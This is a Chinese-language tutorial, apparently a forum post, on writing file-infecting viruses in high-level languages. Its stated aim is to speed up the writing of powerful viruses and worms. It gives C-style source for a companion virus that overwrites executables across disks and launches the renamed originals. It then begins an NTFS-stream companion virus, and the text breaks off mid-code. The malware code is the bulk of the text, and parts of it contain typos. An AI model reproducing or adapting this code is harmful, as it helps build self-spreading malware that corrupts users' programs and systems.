高级语言实现文件感染的方法

序
用高级语言感染文件是快速编写功能强大的病毒或者蠕虫的一条途径，本文将讲述近年来出现的一系列高级语言实现的文件感染方法。这里不提任何使用汇编代码和pe文件插入的技术。

一.文件伴侣
所谓文件伴侣病毒，在Windows时代也有一些不同的定义，所谓伴侣就是改名原文件，然后把自己Copy过去覆盖原文件，运行时创建伴侣进程。
原理性代码：

Copy code

void FrInfect(char *source)
{
char frvv[512];
strcpy(frvv,source);
strcat(frvv,"vv");
copyfile(source,frvv,0);
copyfile(myself,soourc,0);
return ;
}
void FrMain()
{
char host[512];
getselfpath(myself); //自身文件全路径，可用GetModuleFileName取
strcpy(host,myself);
strcat(host，"vv");//伴侣名字
CreatePrc(host,GetCommandLine());//创建伴侣进程，不要忘记命令参数传入~~
search(diskpp)
{
FrInfect(diskpp);//伴侣感染
}
return ;
}

二.NTFS流伴侣
利用NTFS文件流做伴侣病毒的也是有，比如29A的Benny写的Win2k.Stream病毒，
其实貌似很高深的NTFS流是很简单的东西，大家可以Google出大量相关资料。这里就不多说了，仅以代码说明问题：
TCHAR szMyName[MAX_PATH];//主程序名字~
TCHAR szMyNameR[MAX_PATH];//主程序名字~
TCHAR FileNameA[MAX_PATH]="xx.exe";
GetModuleFileName(NULL,szMyName,MAX_PATH);
char *pcmd = GetCommandLine();
char *torun = strcat(szMyName,":str.exe");
GetModuleFileName(NULL,szMyNameR,MAX_PATH);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
CreateProcess(torun,pcmd,0,0,0,0,0,0,&si,&pi);
MessageBox(NULL,"这是一个病毒，你可以选择齐腰感染的文件，也可不选~","概念流病毒1.0",0x1000);
OPENFILENAME file = {0};
file.lStructSize = sizeof(file);
file.lpstrFile = FileNameA;
file.nMaxFile = MAX_PATH;
file.lpstrFilter = "EXE Files(*.exe)/0*.exe/0All Files/0*.*/0/0";
file.nFilterIndex = 1;
if (::GetOpenFileName(&file))
{
HANDLE op=CreateFile(FileNameA,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
DWORD ssize = GetFileSize(op,